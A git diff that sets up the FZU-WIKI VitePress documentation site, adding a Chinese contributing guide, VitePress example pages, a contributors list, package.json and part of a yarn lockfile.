+* 使用bili组件 ([49319d7](https://github.com/camera-2018/hdu-cs-wiki/commit/49319d764b77689a1e577c2eca688852fa2f863f))
+* 加了扫雷小游戏 ([41f078c](https://github.com/camera-2018/hdu-cs-wiki/commit/41f078c902f6d5065a2de939381e7cdb6bafaa4b))
+* 图片 ([796ade4](https://github.com/camera-2018/hdu-cs-wiki/commit/796ade4cc98dfc743439264ec4421096208cccbc))
+* 增加 3.2.3 ([1ee0047](https://github.com/camera-2018/hdu-cs-wiki/commit/1ee00472df09c1aaa16f084fea9285dea16d996a))
+* 增加ipynb渲染 ([43a6e8d](https://github.com/camera-2018/hdu-cs-wiki/commit/43a6e8d116c96589127a7730da4296a4b382c4fc))
+* 增肌在github修改此页链接 ([3a1f009](https://github.com/camera-2018/hdu-cs-wiki/commit/3a1f00932acd4f36f5aa3e9f1ce05cee10a83b6c))
+* 好几章 ([15c19b9](https://github.com/camera-2018/hdu-cs-wiki/commit/15c19b9b1e47ca3517eb44958ba7fe526d05cdd9))
+* 思源黑和noto mono ([5977535](https://github.com/camera-2018/hdu-cs-wiki/commit/59775358c74601a5f458608bf84325a36e52ca25))
+* 折叠列表 ([dfe4be2](https://github.com/camera-2018/hdu-cs-wiki/commit/dfe4be216e74133c5afecdb894c5a478240d4b37))
+* 改一半 没电了 ([6d68d11](https://github.com/camera-2018/hdu-cs-wiki/commit/6d68d11fa237d53e922bc952d0381f734bb20459))
+* 新的全局组件bili ([3440b61](https://github.com/camera-2018/hdu-cs-wiki/commit/3440b61c638f0192b0aac70dcbdafbfd4c922eab))
+* 日夜切换 ([3bf7508](https://github.com/camera-2018/hdu-cs-wiki/commit/3bf7508cea42f7e032ca14f45fdc95ae15ee3348))
+* 更新目录 ([86e8365](https://github.com/camera-2018/hdu-cs-wiki/commit/86e83650e7cf9868346e873150159dd494bc1919))
+* 添加使用指南 ([280c856](https://github.com/camera-2018/hdu-cs-wiki/commit/280c856a5d22feb37b071c40a156ee55a6ae0c9b))
+* 百度真难py啊涝滩东西 ([14cdb7e](https://github.com/camera-2018/hdu-cs-wiki/commit/14cdb7e649cce0d380e8ed17be9835de917f584f))
+* 目录结构 ([22af470](https://github.com/camera-2018/hdu-cs-wiki/commit/22af470f763155fe4e1153f7c4ee043b30b469ca))
+* 第一章 ([111ab64](https://github.com/camera-2018/hdu-cs-wiki/commit/111ab6495877f25888e05c84560c3ca50a1d21a3))
+* 第三章全部 ([cf44118](https://github.com/camera-2018/hdu-cs-wiki/commit/cf44118f5c3ac0d3c37dad149b64903564f3b4b1))
+* 给notebook加载加了提示 ([62b6b78](https://github.com/camera-2018/hdu-cs-wiki/commit/62b6b7877c28170ccb3ed5f069342a0608057663))
+* 贡献者优化 ([4d2bd3c](https://github.com/camera-2018/hdu-cs-wiki/commit/4d2bd3c6d3ca80643473e033ade4553f63e5c780))
+* 贡献者渐变 ([b511efd](https://github.com/camera-2018/hdu-cs-wiki/commit/b511efdc536dc77ec5d047b256d0c0a3fc97b21e))
+* 跨端开发 ([07bfc8a](https://github.com/camera-2018/hdu-cs-wiki/commit/07bfc8ac3ae3d91cad03940bfa7a7997b9fbdb6d))
+
+
+### Performance Improvements
+
+* 减少字体资源请求 ([f8218f8](https://github.com/camera-2018/hdu-cs-wiki/commit/f8218f8c36d1266d88e7c0d0d99c0c78fc7267a1))
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
new file mode 100644
index 0000000..159be2d
--- /dev/null
+++ b/CONTRIBUTING.md
@@ -0,0 +1,460 @@
+# 贡献指南
+
+感谢您的贡献，并感谢您在执行贡献操作之前阅读此文档！
+
+## 致新贡献者
+
+欢迎你的到来，非常感谢你愿意一起建设 FZU-WIKI 💖。
+
+初次参与，你遇到任何问题都可以直接反馈到本仓库，包括但不限于：
+
+- 开发环境搭建时遇到任何问题。
+- 文档遇到任何问题（笔误，格式，错误等）。
+
+如果你在运行项目的时候发现任何不符合预期或不合理的地方，请直接提交 Issue 反馈和 Bug 报告！
+
+## 如何贡献
+
+我们欢迎各种贡献，包括但不限于：
+
+- 新功能（Feature）
+- 代码构建、CI/CD
+- Bug 修复
+- 文档内容增删改
+- Issue 分类、发起、回复、管理、维护
+- 网站页面设计
+- 在各种媒体、博客文章、群内宣传 FZU-WIKI
+
+## 文档命名
+
+1. 对于 md 文件，请命名为 `数字与小数点前缀+文档标题` 的格式
+
+   ```
+   1.1.2 新内容.md
+   2. 序言.md
+   ```
+
+2. 如果您需要开启新的小章节模块，请新建一个文件夹，文件夹的命名格式与 md 文件类似，为 `数字与小数点前缀+模块名`
+
+   ```
+   2.2 模块 2
+   ```
+
+3. 不论是 md 文件还是文件夹,请不要使用字母或其他特殊符号作为前缀
+
+一个合理的文档结构如下：
+
+```
+.
+└─ 1.第一章
+   ├── 1.1 模块 1
+   │   ├── 1.1.10 JavaScript.md
+   │   ├── 1.1.11 Lua.md
+   │   ├── 1.1.12 Lisp.md
+   │   ├── 1.1.1 Ruby.md
+   │   ├── 1.1.2 Java.md
+   │   ├── 1.1.3 C++.md
+   │   ├── 1.1.4 C.md
+   │   ├── 1.1.5 Math.md
+   │   ├── 1.1.6 Matlab.md
+   │   ├── 1.1.7 React.md
+   │   ├── 1.1.8 Jupyter.md
+   │   └── 1.1.9 Vue.md
+   ├── 1.2 模块 2
+   │   ├── 1.2.1 C#.md
+   │   ├── 1.2.2 Python.md
+   │   └── static
+   ├── 1.3 结语.md
+   ├── 1. 序言.md
+   └── static
+```
+
+static 文件夹用于存放您的静态资源，如图片，您也可以在模块文件夹下放置新的 static 文件夹，方便引用资源
+
+## 文档风格
+
+1. 使用 Markdown 编写文档，文档格式参考 Markdown 语法。
+2. 一个页面必须且只有一个1级标题（H1，一个#），其他标题从2级开始（H2，##）。
+3. 本项目自动在英文与中文、数字与中文之间添加空格。
+
+   ```markdown
+    AI 与人工智能，AGI 的发展方向。
+   ```
+
+4. 标题内的英文单词首字母大写。
+5. 代码块使用 ` ``` ` 包裹，并标注常见的语言标识符，如 ` ```python ` ，其作用是使代码正常高亮。
+::: details 代码高亮支持的语言
+
+```ts twoslash
+export type Lang =
+  | 'abap'
+  | 'actionscript-3'
+  | 'ada'
+  | 'apache'
+  | 'apex'
+  | 'apl'
+  | 'applescript'
+  | 'ara'
+  | 'asm'
+  | 'astro'
+  | 'awk'
+  | 'ballerina'
+  | 'bat' | 'batch'
+  | 'beancount'
+  | 'berry' | 'be'
+  | 'bibtex'
+  | 'bicep'
+  | 'blade'
+  | 'c'
+  | 'cadence' | 'cdc'
+  | 'clarity'
+  | 'clojure' | 'clj'
+  | 'cmake'
+  | 'cobol'
+  | 'codeql' | 'ql'
+  | 'coffee'
+  | 'cpp'
+  | 'crystal'
+  | 'csharp' | 'c#' | 'cs'
+  | 'css'
+  | 'cue'
+  | 'cypher' | 'cql'
+  | 'd'
+  | 'dart'
+  | 'dax'
+  | 'diff'
+  | 'docker' | 'dockerfile'
+  | 'dream-maker'
+  | 'elixir'
+  | 'elm'
+  | 'erb'
+  | 'erlang' | 'erl'
+  | 'fish'
+  | 'fsharp' | 'f#' | 'fs'
+  | 'gdresource'
+  | 'gdscript'
+  | 'gdshader'
+  | 'gherkin'
+  | 'git-commit'
+  | 'git-rebase'
+  | 'glimmer-js' | 'gjs'
+  | 'glimmer-ts' | 'gts'
+  | 'glsl'
+  | 'gnuplot'
+  | 'go'
+  | 'graphql'
+  | 'groovy'
+  | 'hack'
+  | 'haml'
+  | 'handlebars' | 'hbs'
+  | 'haskell' | 'hs'
+  | 'hcl'
+  | 'hjson'
+  | 'hlsl'
+  | 'html'
+  | 'http'
+  | 'imba'
+  | 'ini' | 'properties'
+  | 'java'
+  | 'javascript' | 'js'
+  | 'jinja-html'
+  | 'jison'
+  | 'json'
+  | 'json5'
+  | 'jsonc'
+  | 'jsonl'
+  | 'jsonnet'
+  | 'jssm' | 'fsl'
+  | 'jsx'
+  | 'julia'
+  | 'kotlin'
+  | 'kusto' | 'kql'
+  | 'latex'
+  | 'less'
+  | 'liquid'
+  | 'lisp'
+  | 'logo'
+  | 'lua'
+  | 'make' | 'makefile'
+  | 'markdown' | 'md'
+  | 'marko'
+  | 'matlab'
+  | 'mdx'
+  | 'mermaid'
+  | 'mojo'
+  | 'narrat' | 'nar'
+  | 'nextflow' | 'nf'
+  | 'nginx'
+  | 'nim'
+  | 'nix'
+  | 'objective-c' | 'objc'
+  | 'objective-cpp'
+  | 'ocaml'
+  | 'pascal'
+  | 'perl'
+  | 'php'
+  | 'plsql'
+  | 'postcss'
+  | 'powerquery'
+  | 'powershell' | 'ps' | 'ps1'
+  | 'prisma'
+  | 'prolog'
+  | 'proto'
+  | 'pug' | 'jade'
+  | 'puppet'
+  | 'purescript'
+  | 'python' | 'py'
+  | 'r'
+  | 'raku' | 'perl6'
+  | 'razor'
+  | 'reg'
+  | 'rel'
+  | 'riscv'
+  | 'rst'
+  | 'ruby' | 'rb'
+  | 'rust' | 'rs'
+  | 'sas'
+  | 'sass'
+  | 'scala'
+  | 'scheme'
+  | 'scss'
+  | 'shaderlab' | 'shader'
+  | 'shellscript' | 'bash' | 'sh' | 'shell' | 'zsh'
+  | 'shellsession' | 'console'
+  | 'smalltalk'
+  | 'solidity'
+  | 'sparql'
+  | 'splunk' | 'spl'
+  | 'sql'
+  | 'ssh-config'
+  | 'stata'
+  | 'stylus' | 'styl'
+  | 'svelte'
+  | 'swift'
+  | 'system-verilog'
+  | 'tasl'
+  | 'tcl'
+  | 'tex'
+  | 'toml'
+  | 'tsx'
+  | 'turtle'
+  | 'twig'
+  | 'typescript' | 'ts'
+  | 'v'
+  | 'vb' | 'cmd'
+  | 'verilog'
+  | 'vhdl'
+  | 'viml' | 'vim' | 'vimscript'
+  | 'vue-html'
+  | 'vue'
+  | 'vyper' | 'vy'
+  | 'wasm'
+  | 'wenyan' | '文言'
+  | 'wgsl'
+  | 'wolfram'
+  | 'xml'
+  | 'xsl'
+  | 'yaml' | 'yml'
+  | 'zenscript'
+  | 'zig'
+```
+
+:::
+
+::: tip 🤓 注意
+尽量不要使用 `typora` 等编辑器编辑完 .md文件后直接提交，因为它的渲染效果和本项目前端 md 渲染器 `vitepress markdown-it` 不一致。
+
+在 `typora` 中编辑完成后，确认一下 .md 文件源代码是否为正常 Markdown 。
+
+编辑完成后请务必启动本项目在前端查看效果。
+:::
+
+## 项目构建指南
+
+vitepress 框架要求，强制需要 nodejs v18.0 及以上版本。
+
+本项目使用包管理器 npm。
+
+```bash
+npm install 
+npm run docs:dev      #运行预览环境
+```
+
+```bash
+npm run docs:build    #编译线上环境
+npm run docs:preview  #预览线上环境
+```
+
+## 图片放置指南
+
+图片放置在当前大章节的 `static` 目录下，然后在 md 文件中使用相对路径引用。
+
+```markdown
+![](static/xxx.png)
+```
+
+注意尽量不要使用 `img` 这个 HTML 标签，因为经前端构建解析后路径会不正确。
+
+后续会统一放置到 cos 存储桶中。
+
+## 项目配置指南
+
+::: warning 🚧 注意
+如果改了文件路径却没有配置 `.vitepress/config.js`、`.vitepress/sidebar.js` 文件会导致项目构建失败。
+:::
+
+修改新添加或移动位置的 md 文件需要在 `.vitepress/config.js`、`.vitepress/sidebar.js` 中添加或修改对应的配置。
+
+> sidebar.js 文件会管理显示在左侧导航栏的所有路由
+
+详见 [VitePress 官方文档](https://vitepress.dev/reference/default-theme-sidebar)
+
+## 如何使用 Git 和 Github
+
+详见 [3.5 Git和Github](./2023旧版内容/3.编程思维体系构建/3.5git与github.md)
+
+## Commit Message 规范
+
+::: tip 🐒
+本项目没有强制使用 [commitlint](https://github.com/conventional-changelog/commitlint) ，但是建议遵循以下规范。
+> commitlint : 一个提交检查插件 ，可以在提交前检查 commit message 是否符合规范。
+
+本项目选用的规范为 [@commitlint/config-conventional](https://github.com/conventional-changelog/commitlint/tree/master/%40commitlint/config-conventional)（基于 [Angular](https://github.com/angular/angular/blob/22b96b9/CONTRIBUTING.md#-commit-message-guidelines) 约定）
+:::
+
+本项目遵循以下 commit message 规范：
+
+```bash
+模板：
+type(scope): subject
+
+type为commit的类型
+    feat:      新特性
+    fix:       修改问题
+    refactor:  代码重构
+    docs:      文档修改
+    style:     代码格式修改
+    test:      测试用例修改
+    chore:     其他修改, 比如构建流程, 依赖管理
+    perf:      性能提升的修改
+    build:     对项目构建或者依赖的改动
+    ci:        CI 的修改
+    revert:    revert 前一个 commit(撤销前一个commit)
+    
+scope是文件名 / 模块名 / 影响的范围
+    例如  schoolSchedule
+    
+subject为commit概述
+    建议符合 50 / 72 formatting
+    
+例  feat(JoinForm): add success submit tips
+
+冒号后方可以使用中文描述
+
+注意 冒号和subject之间要加空格
+```
+
+其中详细内容可以参照 [约定式提交](https://www.conventionalcommits.org/zh-hans/v1.0.0/)
+
+本项目额外有使用 semantic-release 自动化版本发布，所以请务必遵循规范提交。
+
+注意：fix、feat、BREAKING CHANGE 这三种类型的提交会触发自动版本发布。
+
+![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)
+
+## Pull Request 流程与指南
+
+Fork 本仓库，然后在你的仓库中进行修改，修改完成后在本仓库创建 NEW Pull Request ，选择 compare across forks 提交 pr 并评论上你修改的具体信息即可，我们会第一时间审阅并合并。
+
+## Feature
+
+1. Markdown 内支持Latex公式，格式为单行公式双dollar符号、单行公式单dollar符号。（单行公式需要换行才能解析）例如：
+    ```latex
+    $行内公式\arccos{a}$
+    ```
+    > 会渲染成 $\arccos{a}$
+    ```latex
+    $$单行公式\arcsin{b}$$
+    ```
+    > 会渲染成
+    >
+    > $$\arcsin{b}$$
+    ::: tip
+    Latex语法在线编辑器 https://www.latexlive.com
+    :::
+
+2. 支持Mermaid流程图，格式如下
+    ```markdown
+        ```mermaid
+        graph TD;
+        A-->B;
+        A-->C;
+        B-->D;
+        C-->D;
+        ``` 
+    ```
+    会渲染成
+    ```mermaid
+    graph TD;
+        A-->B;
+        A-->C;
+        B-->D;
+        C-->D;
+    ```
+    :::tip
+    语法自查 https://mermaid.js.org
+    :::
+
+3. 代码分块
+
+    ```
+        ::: code-group
+
+        ```sh [npm]
+        $ npm install -D vitepress
+        ```
+
+        ```sh [pnpm]
+        $ pnpm add -D vitepress
+        ```
+
+        ```sh [yarn]
+        $ yarn add -D vitepress
+        ```
+
+        :::
+    ```
+    ::: code-group
+
+    ```sh [npm]
+    $ npm install -D vitepress
+    ```
+
+    ```sh [pnpm]
+    $ pnpm add -D vitepress
+    ```
+
+    ```sh [yarn]
+    $ yarn add -D vitepress
+    ```
+
+    :::
+
+
+4. 图片缩放
+
+图片默认支持缩放，鼠标悬浮图片上方会出现放大镜图标，点击即可放大图片。
+
+如果不想让图片缩放，可以在图片class内后添加 `no-zoom` 参数。
+
+markdown 的使用方式如下
+
+```markdown
+# 默认（支持缩放）
+![](static/xxx.png)
+```
+
+```markdown
+# 不支持缩放
+![](static/xxx.png){.no-zoom}
+```
diff --git a/api-examples.md b/api-examples.md
new file mode 100644
index 0000000..6bd8bb5
--- /dev/null
+++ b/api-examples.md
@@ -0,0 +1,49 @@
+---
+outline: deep
+---
+
+# Runtime API Examples
+
+This page demonstrates usage of some of the runtime APIs provided by VitePress.
+
+The main `useData()` API can be used to access site, theme, and page data for the current page. It works in both `.md` and `.vue` files:
+
+```md
+<script setup>
+import { useData } from 'vitepress'
+
+const { theme, page, frontmatter } = useData()
+</script>
+
+## Results
+
+### Theme Data
+<pre>{{ theme }}</pre>
+
+### Page Data
+<pre>{{ page }}</pre>
+
+### Page Frontmatter
+<pre>{{ frontmatter }}</pre>
+```
+
+<script setup>
+import { useData } from 'vitepress'
+
+const { site, theme, page, frontmatter } = useData()
+</script>
+
+## Results
+
+### Theme Data
+<pre>{{ theme }}</pre>
+
+### Page Data
+<pre>{{ page }}</pre>
+
+### Page Frontmatter
+<pre>{{ frontmatter }}</pre>
+
+## More
+
+Check out the documentation for the [full list of runtime APIs](https://vitepress.dev/reference/runtime-api#usedata).
diff --git a/contributors.md b/contributors.md
new file mode 100644
index 0000000..ce4a384
--- /dev/null
+++ b/contributors.md
@@ -0,0 +1,31 @@
+<script setup>
+import { VPTeamMembers } from 'vitepress/theme-without-fonts'
+import { members } from './members.ts'
+
+</script>
+
+# 贡献者名单
+
+以下为对本项目做出贡献的人员名单，排名不分先后。
+
+<VPTeamMembers size="small" :members="members" />
+
+<style>
+.affiliation > .title, .profile > .data > .name, #team {
+  font-weight: bold !important;
+  color: transparent;
+  background: -webkit-linear-gradient(
+    256deg,
+    var(--vp-c-brand),
+    var(--vp-c-brand-light),
+    var(--vp-c-brand-next)
+  );
+  -webkit-background-clip: text;
+  background-clip: text;
+  -webkit-text-fill-color: var(--vp-home-hero-name-color);
+  animation: rainbow 3s cubic-bezier(0.1, 0.7, 1.0, 0.1) infinite !important;
+}
+.avatar-img {
+  z-index: 1;
+}
+</style>
diff --git a/index.md b/index.md
new file mode 100644
index 0000000..6464acf
--- /dev/null
+++ b/index.md
@@ -0,0 +1,30 @@
+---
+# https://vitepress.dev/reference/default-theme-home-page
+layout: home
+
+hero:
+  name: "FZU-WIKI"
+  text: "FZU生存手册"
+  tagline: 如果你有一些建议或者想要完善此 WIKI ，请点击下方的 GitHub 按钮查看我们的仓库提交 issue 或者 PR ！
+  # actions:
+  #   - theme: brand
+  #     text: Markdown Examples
+  #     link: /markdown-examples
+  #   - theme: alt
+  #     text: API Examples
+  #     link: /api-examples
+
+features:
+  - title: 使用指南
+    icon: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32"><path fill="currentColor" d="M19 10h7v2h-7zm0 5h7v2h-7zm0 5h7v2h-7zM6 10h7v2H6zm0 5h7v2H6zm0 5h7v2H6z"/><path fill="currentColor" d="M28 5H4a2 2 0 0 0-2 2v18a2 2 0 0 0 2 2h24a2 2 0 0 0 2-2V7a2 2 0 0 0-2-2M4 7h11v18H4Zm13 18V7h11v18Z"/></svg>
+    details: 本页面为FZU-WIKI的使用指南，包括如何使用本WIKI，如何提交issue，如何提交PR等。
+    link: /使用指南
+  - title: 福大生存指南
+    icon: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32"><path fill="currentColor" d="M10 31H6a2.006 2.006 0 0 1-2-2v-7a2.006 2.006 0 0 1-2-2v-6a2.947 2.947 0 0 1 3-3h6a2.947 2.947 0 0 1 3 3v6a2.006 2.006 0 0 1-2 2v7a2.006 2.006 0 0 1-2 2M5 13a.945.945 0 0 0-1 1v6h2v9h4v-9h2v-6a.945.945 0 0 0-1-1zm3-3a4 4 0 1 1 4-4a4.005 4.005 0 0 1-4 4m0-6a2 2 0 1 0 2 2a2 2 0 0 0-2-2m20.766.256A4.21 4.21 0 0 0 23 4.032a4.21 4.21 0 0 0-5.766.224a4.32 4.32 0 0 0 0 6.044l5.764 5.84l.002-.002l.002.001l5.764-5.839a4.32 4.32 0 0 0 0-6.044m-1.424 4.639l-4.34 4.397L23 13.29l-.002.002l-4.34-4.397a2.31 2.31 0 0 1 0-3.234a2.264 2.264 0 0 1 3.156 0l1.181 1.207l.005-.005l.005.005l1.18-1.207a2.264 2.264 0 0 1 3.157 0a2.31 2.31 0 0 1 0 3.234"/></svg>
+    details: 福大生存指南，为所有FZUer提供生存指南，包括生活、学习等各方面。
+  - title: 技术资源汇总(杭电支持版)
+    icon: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32"><path fill="none" d="m16 7l1.912 3.667l4.088.506l-3 2.753l.6 4.074l-3.6-2.292L12.4 18l.6-4.074l-3-2.753l4.2-.506z"/><path fill="currentColor" d="M16 2A11.013 11.013 0 0 0 5 13a10.9 10.9 0 0 0 2.216 6.6s.3.395.349.452L16 30l8.439-9.953c.044-.053.345-.447.345-.447l.001-.003A10.9 10.9 0 0 0 27 13A11.013 11.013 0 0 0 16 2m3.6 16L16 15.709L12.4 18l.6-4.074l-3-2.753l4.2-.507L16 7l1.912 3.667l4.088.506l-3 2.753Z"/></svg>
+    link: /技术资源汇总(杭电支持版)/内容索引
+    details: 汇总了杭电开源项目hdu-cs-wiki开源的计算机相关技术讲义。
+---
+
diff --git a/markdown-examples.md b/markdown-examples.md
new file mode 100644
index 0000000..f9258a5
--- /dev/null
+++ b/markdown-examples.md
@@ -0,0 +1,85 @@
+# Markdown Extension Examples
+
+This page demonstrates some of the built-in markdown extensions provided by VitePress.
+
+## Syntax Highlighting
+
+VitePress provides Syntax Highlighting powered by [Shiki](https://github.com/shikijs/shiki), with additional features like line-highlighting:
+
+**Input**
+
+````md
+```js{4}
+export default {
+  data () {
+    return {
+      msg: 'Highlighted!'
+    }
+  }
+}
+```
+````
+
+**Output**
+
+```js{4}
+export default {
+  data () {
+    return {
+      msg: 'Highlighted!'
+    }
+  }
+}
+```
+
+## Custom Containers
+
+**Input**
+
+```md
+::: info
+This is an info box.
+:::
+
+::: tip
+This is a tip.
+:::
+
+::: warning
+This is a warning.
+:::
+
+::: danger
+This is a dangerous warning.
+:::
+
+::: details
+This is a details block.
+:::
+```
+
+**Output**
+
+::: info
+This is an info box.
+:::
+
+::: tip
+This is a tip.
+:::
+
+::: warning
+This is a warning.
+:::
+
+::: danger
+This is a dangerous warning.
+:::
+
+::: details
+This is a details block.
+:::
+
+## More
+
+Check out the documentation for the [full list of markdown extensions](https://vitepress.dev/guide/markdown).
diff --git a/members.ts b/members.ts
new file mode 100644
index 0000000..759fd5c
--- /dev/null
+++ b/members.ts
@@ -0,0 +1,24 @@
+type Member = {
+  avatar: string
+  name: string
+  title: string
+  links: {
+    icon: string
+    link: string
+  }[]
+}[]
+
+// 写了个走 CF 的代理，为了让头像加载快点儿
+// 格式暂时为：https://avatars.hdu-cs.wiki/ + github 用户名（不是昵称）（不加png）
+// https://avatars.hdu-cs.wiki/camera-2018
+
+export const members: Member = [
+  {
+    avatar: 'https://avatars.hdu-cs.wiki/camera-2018',
+    name: 'camera-2018',
+    title: 'Maintainer',
+    links: [
+      { icon: 'github', link: 'https://github.com/camera-2018' },
+    ]
+  }
+]
diff --git a/package.json b/package.json
new file mode 100644
index 0000000..58a47ee
--- /dev/null
+++ b/package.json
@@ -0,0 +1,11 @@
+{
+  "dependencies": {
+    "husky": "^9.1.4",
+    "vitepress": "^1.3.2"
+  },
+  "scripts": {
+    "docs:dev": "vitepress dev",
+    "docs:build": "vitepress build",
+    "docs:preview": "vitepress preview"
+  }
+}
diff --git a/yarn.lock b/yarn.lock
new file mode 100644
index 0000000..1c3fa8e
--- /dev/null
+++ b/yarn.lock
@@ -0,0 +1,866 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@algolia/autocomplete-core@1.9.3":
+  version "1.9.3"
+  resolved "https://registry.npmmirror.com/@algolia/autocomplete-core/-/autocomplete-core-1.9.3.tgz#1d56482a768c33aae0868c8533049e02e8961be7"
+  integrity sha512-009HdfugtGCdC4JdXUbVJClA0q0zh24yyePn+KUGk3rP7j8FEe/m5Yo/z65gn6nP/cM39PxpzqKrL7A6fP6PPw==
+  dependencies:
+    "@algolia/autocomplete-plugin-algolia-insights" "1.9.3"
+    "@algolia/autocomplete-shared" "1.9.3"
+
+"@algolia/autocomplete-plugin-algolia-insights@1.9.3":
+  version "1.9.3"
+  resolved "https://registry.npmmirror.com/@algolia/autocomplete-plugin-algolia-insights/-/autocomplete-plugin-algolia-insights-1.9.3.tgz#9b7f8641052c8ead6d66c1623d444cbe19dde587"
+  integrity sha512-a/yTUkcO/Vyy+JffmAnTWbr4/90cLzw+CC3bRbhnULr/EM0fGNvM13oQQ14f2moLMcVDyAx/leczLlAOovhSZg==
+  dependencies:
+    "@algolia/autocomplete-shared" "1.9.3"
+
+"@algolia/autocomplete-preset-algolia@1.9.3":
+  version "1.9.3"
+  resolved "https://registry.npmmirror.com/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.9.3.tgz#64cca4a4304cfcad2cf730e83067e0c1b2f485da"
+  integrity sha512-d4qlt6YmrLMYy95n5TB52wtNDr6EgAIPH81dvvvW8UmuWRgxEtY0NJiPwl/h95JtG2vmRM804M0DSwMCNZlzRA==
+  dependencies:
+    "@algolia/autocomplete-shared" "1.9.3"
+
+"@algolia/autocomplete-shared@1.9.3":
+  version "1.9.3"
+  resolved "https://registry.npmmirror.com/@algolia/autocomplete-shared/-/autocomplete-shared-1.9.3.tgz#2e22e830d36f0a9cf2c0ccd3c7f6d59435b77dfa"
+  integrity sha512-Wnm9E4Ye6Rl6sTTqjoymD+l8DjSTHsHboVRYrKgEt8Q7UHm9nYbqhN/i0fhUYA3OAEH7WA8x3jfpnmJm3rKvaQ==
+
+"@algolia/cache-browser-local-storage@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.24.0.tgz#97bc6d067a9fd932b9c922faa6b7fd6e546e1348"
+  integrity sha512-t63W9BnoXVrGy9iYHBgObNXqYXM3tYXCjDSHeNwnsc324r4o5UiVKUiAB4THQ5z9U5hTj6qUvwg/Ez43ZD85ww==
+  dependencies:
+    "@algolia/cache-common" "4.24.0"
+
+"@algolia/cache-common@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/cache-common/-/cache-common-4.24.0.tgz#81a8d3a82ceb75302abb9b150a52eba9960c9744"
+  integrity sha512-emi+v+DmVLpMGhp0V9q9h5CdkURsNmFC+cOS6uK9ndeJm9J4TiqSvPYVu+THUP8P/S08rxf5x2P+p3CfID0Y4g==
+
+"@algolia/cache-in-memory@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/cache-in-memory/-/cache-in-memory-4.24.0.tgz#ffcf8872f3a10cb85c4f4641bdffd307933a6e44"
+  integrity sha512-gDrt2so19jW26jY3/MkFg5mEypFIPbPoXsQGQWAi6TrCPsNOSEYepBMPlucqWigsmEy/prp5ug2jy/N3PVG/8w==
+  dependencies:
+    "@algolia/cache-common" "4.24.0"
+
+"@algolia/client-account@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/client-account/-/client-account-4.24.0.tgz#eba7a921d828e7c8c40a32d4add21206c7fe12f1"
+  integrity sha512-adcvyJ3KjPZFDybxlqnf+5KgxJtBjwTPTeyG2aOyoJvx0Y8dUQAEOEVOJ/GBxX0WWNbmaSrhDURMhc+QeevDsA==
+  dependencies:
+    "@algolia/client-common" "4.24.0"
+    "@algolia/client-search" "4.24.0"
+    "@algolia/transporter" "4.24.0"
+
+"@algolia/client-analytics@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/client-analytics/-/client-analytics-4.24.0.tgz#9d2576c46a9093a14e668833c505ea697a1a3e30"
+  integrity sha512-y8jOZt1OjwWU4N2qr8G4AxXAzaa8DBvyHTWlHzX/7Me1LX8OayfgHexqrsL4vSBcoMmVw2XnVW9MhL+Y2ZDJXg==
+  dependencies:
+    "@algolia/client-common" "4.24.0"
+    "@algolia/client-search" "4.24.0"
+    "@algolia/requester-common" "4.24.0"
+    "@algolia/transporter" "4.24.0"
+
+"@algolia/client-common@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/client-common/-/client-common-4.24.0.tgz#77c46eee42b9444a1d1c1583a83f7df4398a649d"
+  integrity sha512-bc2ROsNL6w6rqpl5jj/UywlIYC21TwSSoFHKl01lYirGMW+9Eek6r02Tocg4gZ8HAw3iBvu6XQiM3BEbmEMoiA==
+  dependencies:
+    "@algolia/requester-common" "4.24.0"
+    "@algolia/transporter" "4.24.0"
+
+"@algolia/client-personalization@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/client-personalization/-/client-personalization-4.24.0.tgz#8b47789fb1cb0f8efbea0f79295b7c5a3850f6ae"
+  integrity sha512-l5FRFm/yngztweU0HdUzz1rC4yoWCFo3IF+dVIVTfEPg906eZg5BOd1k0K6rZx5JzyyoP4LdmOikfkfGsKVE9w==
+  dependencies:
+    "@algolia/client-common" "4.24.0"
+    "@algolia/requester-common" "4.24.0"
+    "@algolia/transporter" "4.24.0"
+
+"@algolia/client-search@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/client-search/-/client-search-4.24.0.tgz#75e6c02d33ef3e0f34afd9962c085b856fc4a55f"
+  integrity sha512-uRW6EpNapmLAD0mW47OXqTP8eiIx5F6qN9/x/7HHO6owL3N1IXqydGwW5nhDFBrV+ldouro2W1VX3XlcUXEFCA==
+  dependencies:
+    "@algolia/client-common" "4.24.0"
+    "@algolia/requester-common" "4.24.0"
+    "@algolia/transporter" "4.24.0"
+
+"@algolia/logger-common@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/logger-common/-/logger-common-4.24.0.tgz#28d439976019ec0a46ba7a1a739ef493d4ef8123"
+  integrity sha512-LLUNjkahj9KtKYrQhFKCzMx0BY3RnNP4FEtO+sBybCjJ73E8jNdaKJ/Dd8A/VA4imVHP5tADZ8pn5B8Ga/wTMA==
+
+"@algolia/logger-console@4.24.0":
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/@algolia/logger-console/-/logger-console-4.24.0.tgz#c6ff486036cd90b81d07a95aaba04461da7e1c65"
+  integrity sha512-X4C8IoHgHfiUROfoRCV+lzSy+LHMgkoEEU1BbKcsfnV0i0S20zyy0NLww9dwVHUWNfPPxdMU+/wKmLGYf96yTg==
+  dependencies:
+    "@algolia/logger-common" "4.24.0"
+
+"@algolia/recommend@4.24.0":
+  version "4.24.0"
